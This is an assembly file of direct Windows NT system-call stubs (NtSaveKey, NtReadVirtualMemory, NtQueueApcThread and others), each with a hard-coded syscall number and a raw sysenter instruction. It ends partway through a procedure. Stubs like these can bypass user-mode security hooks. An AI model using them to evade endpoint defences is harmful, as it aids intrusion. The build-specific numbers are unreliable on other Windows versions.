; ULONG __stdcall NtSecureConnectPort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
NtSecureConnectPort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 102
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSecureConnectPort ENDP
; ULONG __stdcall NtSaveMergedKeys( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtSaveMergedKeys PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 103
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSaveMergedKeys ENDP
; ULONG __stdcall NtSaveKeyEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtSaveKeyEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 104
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSaveKeyEx ENDP
; ULONG __stdcall NtSaveKey( ULONG arg_01 , ULONG arg_02 );
NtSaveKey PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 105
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSaveKey ENDP
; ULONG __stdcall NtRollforwardTransactionManager( ULONG arg_01 , ULONG arg_02 );
NtRollforwardTransactionManager PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 106
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRollforwardTransactionManager ENDP
; ULONG __stdcall NtRollbackTransaction( ULONG arg_01 , ULONG arg_02 );
NtRollbackTransaction PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 107
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRollbackTransaction ENDP
; ULONG __stdcall NtRollbackEnlistment( ULONG arg_01 , ULONG arg_02 );
NtRollbackEnlistment PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 108
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRollbackEnlistment ENDP
; ULONG __stdcall NtRollbackComplete( ULONG arg_01 , ULONG arg_02 );
NtRollbackComplete PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 109
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRollbackComplete ENDP
; ULONG __stdcall NtRevertContainerImpersonation( );
NtRevertContainerImpersonation PROC STDCALL
mov eax , 110
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRevertContainerImpersonation ENDP
; ULONG __stdcall NtResumeThread( ULONG arg_01 , ULONG arg_02 );
NtResumeThread PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 111
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtResumeThread ENDP
; ULONG __stdcall NtResumeProcess( ULONG arg_01 );
NtResumeProcess PROC STDCALL arg_01:DWORD
mov eax , 112
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtResumeProcess ENDP
; ULONG __stdcall NtRestoreKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtRestoreKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 113
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRestoreKey ENDP
; ULONG __stdcall NtResetWriteWatch( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtResetWriteWatch PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 114
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtResetWriteWatch ENDP
; ULONG __stdcall NtResetEvent( ULONG arg_01 , ULONG arg_02 );
NtResetEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 115
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtResetEvent ENDP
; ULONG __stdcall NtRequestWaitReplyPort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtRequestWaitReplyPort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 116
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRequestWaitReplyPort ENDP
; ULONG __stdcall NtRequestPort( ULONG arg_01 , ULONG arg_02 );
NtRequestPort PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 117
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRequestPort ENDP
; ULONG __stdcall NtReplyWaitReplyPort( ULONG arg_01 , ULONG arg_02 );
NtReplyWaitReplyPort PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 118
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtReplyWaitReplyPort ENDP
; ULONG __stdcall NtReplyWaitReceivePortEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtReplyWaitReceivePortEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 119
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtReplyWaitReceivePortEx ENDP
; ULONG __stdcall NtReplyWaitReceivePort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtReplyWaitReceivePort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 120
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtReplyWaitReceivePort ENDP
; ULONG __stdcall NtReplyPort( ULONG arg_01 , ULONG arg_02 );
NtReplyPort PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 121
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtReplyPort ENDP
; ULONG __stdcall NtReplacePartitionUnit( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtReplacePartitionUnit PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 122
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtReplacePartitionUnit ENDP
; ULONG __stdcall NtReplaceKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtReplaceKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 123
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtReplaceKey ENDP
; ULONG __stdcall NtRenameTransactionManager( ULONG arg_01 , ULONG arg_02 );
NtRenameTransactionManager PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 124
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRenameTransactionManager ENDP
; ULONG __stdcall NtRenameKey( ULONG arg_01 , ULONG arg_02 );
NtRenameKey PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 125
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRenameKey ENDP
; ULONG __stdcall NtRemoveProcessDebug( ULONG arg_01 , ULONG arg_02 );
NtRemoveProcessDebug PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 126
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRemoveProcessDebug ENDP
; ULONG __stdcall NtRemoveIoCompletionEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtRemoveIoCompletionEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 127
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRemoveIoCompletionEx ENDP
; ULONG __stdcall NtRemoveIoCompletion( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtRemoveIoCompletion PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 128
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRemoveIoCompletion ENDP
; ULONG __stdcall NtReleaseWorkerFactoryWorker( ULONG arg_01 );
NtReleaseWorkerFactoryWorker PROC STDCALL arg_01:DWORD
mov eax , 129
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtReleaseWorkerFactoryWorker ENDP
; ULONG __stdcall NtReleaseSemaphore( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtReleaseSemaphore PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 130
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtReleaseSemaphore ENDP
; ULONG __stdcall NtReleaseMutant( ULONG arg_01 , ULONG arg_02 );
NtReleaseMutant PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 131
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtReleaseMutant ENDP
; ULONG __stdcall NtReleaseKeyedEvent( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtReleaseKeyedEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 132
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtReleaseKeyedEvent ENDP
; ULONG __stdcall NtRegisterThreadTerminatePort( ULONG arg_01 );
NtRegisterThreadTerminatePort PROC STDCALL arg_01:DWORD
mov eax , 133
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRegisterThreadTerminatePort ENDP
; ULONG __stdcall NtRegisterProtocolAddressInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtRegisterProtocolAddressInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 134
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRegisterProtocolAddressInformation ENDP
; ULONG __stdcall NtRecoverTransactionManager( ULONG arg_01 );
NtRecoverTransactionManager PROC STDCALL arg_01:DWORD
mov eax , 135
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRecoverTransactionManager ENDP
; ULONG __stdcall NtRecoverResourceManager( ULONG arg_01 );
NtRecoverResourceManager PROC STDCALL arg_01:DWORD
mov eax , 136
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRecoverResourceManager ENDP
; ULONG __stdcall NtRecoverEnlistment( ULONG arg_01 , ULONG arg_02 );
NtRecoverEnlistment PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 137
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRecoverEnlistment ENDP
; ULONG __stdcall NtReadVirtualMemory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtReadVirtualMemory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 138
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtReadVirtualMemory ENDP
; ULONG __stdcall NtReadRequestData( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtReadRequestData PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 139
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtReadRequestData ENDP
; ULONG __stdcall NtReadOnlyEnlistment( ULONG arg_01 , ULONG arg_02 );
NtReadOnlyEnlistment PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 140
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtReadOnlyEnlistment ENDP
; ULONG __stdcall NtReadFileScatter( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
NtReadFileScatter PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 141
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtReadFileScatter ENDP
; ULONG __stdcall NtReadFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
NtReadFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 142
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtReadFile ENDP
; ULONG __stdcall NtRaiseHardError( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtRaiseHardError PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 143
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRaiseHardError ENDP
; ULONG __stdcall NtRaiseException( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtRaiseException PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 144
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRaiseException ENDP
; ULONG __stdcall NtQueueApcThreadEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtQueueApcThreadEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 145
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueueApcThreadEx ENDP
; ULONG __stdcall NtQueueApcThread( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueueApcThread PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 146
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueueApcThread ENDP
; ULONG __stdcall NtQueryAuxiliaryCounterFrequency( ULONG arg_01 );
NtQueryAuxiliaryCounterFrequency PROC STDCALL arg_01:DWORD
mov eax , 147
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryAuxiliaryCounterFrequency ENDP
; ULONG __stdcall NtQueryWnfStateData( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtQueryWnfStateData PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 148
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryWnfStateData ENDP
; ULONG __stdcall NtQueryWnfStateNameInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryWnfStateNameInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 149
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryWnfStateNameInformation ENDP
; ULONG __stdcall NtQueryVolumeInformationFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryVolumeInformationFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 150
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryVolumeInformationFile ENDP
; ULONG __stdcall NtQueryVirtualMemory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtQueryVirtualMemory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 151
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryVirtualMemory ENDP
; ULONG __stdcall NtQueryValueKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtQueryValueKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 152
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryValueKey ENDP
; ULONG __stdcall NtQueryTimerResolution( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtQueryTimerResolution PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 153
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryTimerResolution ENDP
; ULONG __stdcall NtQueryTimer( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryTimer PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 154
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryTimer ENDP
; ULONG __stdcall NtQuerySystemTime( ULONG arg_01 );
NtQuerySystemTime PROC STDCALL arg_01:DWORD
mov eax , 155
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQuerySystemTime ENDP
; ULONG __stdcall NtQuerySystemInformationEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtQuerySystemInformationEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 156
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQuerySystemInformationEx ENDP
; ULONG __stdcall NtQuerySystemInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtQuerySystemInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 157
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQuerySystemInformation ENDP
; ULONG __stdcall NtQuerySystemEnvironmentValueEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQuerySystemEnvironmentValueEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 158
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQuerySystemEnvironmentValueEx ENDP
; ULONG __stdcall NtQuerySystemEnvironmentValue( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtQuerySystemEnvironmentValue PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 159
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQuerySystemEnvironmentValue ENDP
; ULONG __stdcall NtQuerySymbolicLinkObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtQuerySymbolicLinkObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 160
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQuerySymbolicLinkObject ENDP
; ULONG __stdcall NtQuerySemaphore( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQuerySemaphore PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 161
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQuerySemaphore ENDP
; ULONG __stdcall NtQuerySecurityPolicy( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtQuerySecurityPolicy PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 162
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQuerySecurityPolicy ENDP
; ULONG __stdcall NtQuerySecurityObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQuerySecurityObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 163
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQuerySecurityObject ENDP
; ULONG __stdcall NtQuerySecurityAttributesToken( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtQuerySecurityAttributesToken PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 164
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQuerySecurityAttributesToken ENDP
; ULONG __stdcall NtQuerySection( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQuerySection PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 165
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQuerySection ENDP
; ULONG __stdcall NtQueryQuotaInformationFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
NtQueryQuotaInformationFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 166
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryQuotaInformationFile ENDP
; ULONG __stdcall NtQueryPortInformationProcess( );
NtQueryPortInformationProcess PROC STDCALL
mov eax , 167
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryPortInformationProcess ENDP
; ULONG __stdcall NtQueryPerformanceCounter( ULONG arg_01 , ULONG arg_02 );
NtQueryPerformanceCounter PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 168
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryPerformanceCounter ENDP
; ULONG __stdcall NtQueryOpenSubKeysEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtQueryOpenSubKeysEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 169
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryOpenSubKeysEx ENDP
; ULONG __stdcall NtQueryOpenSubKeys( ULONG arg_01 , ULONG arg_02 );
NtQueryOpenSubKeys PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 170
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryOpenSubKeys ENDP
; ULONG __stdcall NtQueryObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 171
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryObject ENDP
; ULONG __stdcall NtQueryMutant( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryMutant PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 172
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryMutant ENDP
; ULONG __stdcall NtQueryMultipleValueKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtQueryMultipleValueKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 173
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryMultipleValueKey ENDP
; ULONG __stdcall NtQueryLicenseValue( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryLicenseValue PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 174
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryLicenseValue ENDP
; ULONG __stdcall NtQueryKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 175
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryKey ENDP
; ULONG __stdcall NtQueryIoCompletion( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryIoCompletion PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 176
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryIoCompletion ENDP
; ULONG __stdcall NtQueryIntervalProfile( ULONG arg_01 , ULONG arg_02 );
NtQueryIntervalProfile PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 177
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryIntervalProfile ENDP
; ULONG __stdcall NtQueryInstallUILanguage( ULONG arg_01 );
NtQueryInstallUILanguage PROC STDCALL arg_01:DWORD
mov eax , 178
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryInstallUILanguage ENDP
; ULONG __stdcall NtQueryInformationWorkerFactory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryInformationWorkerFactory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 179
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
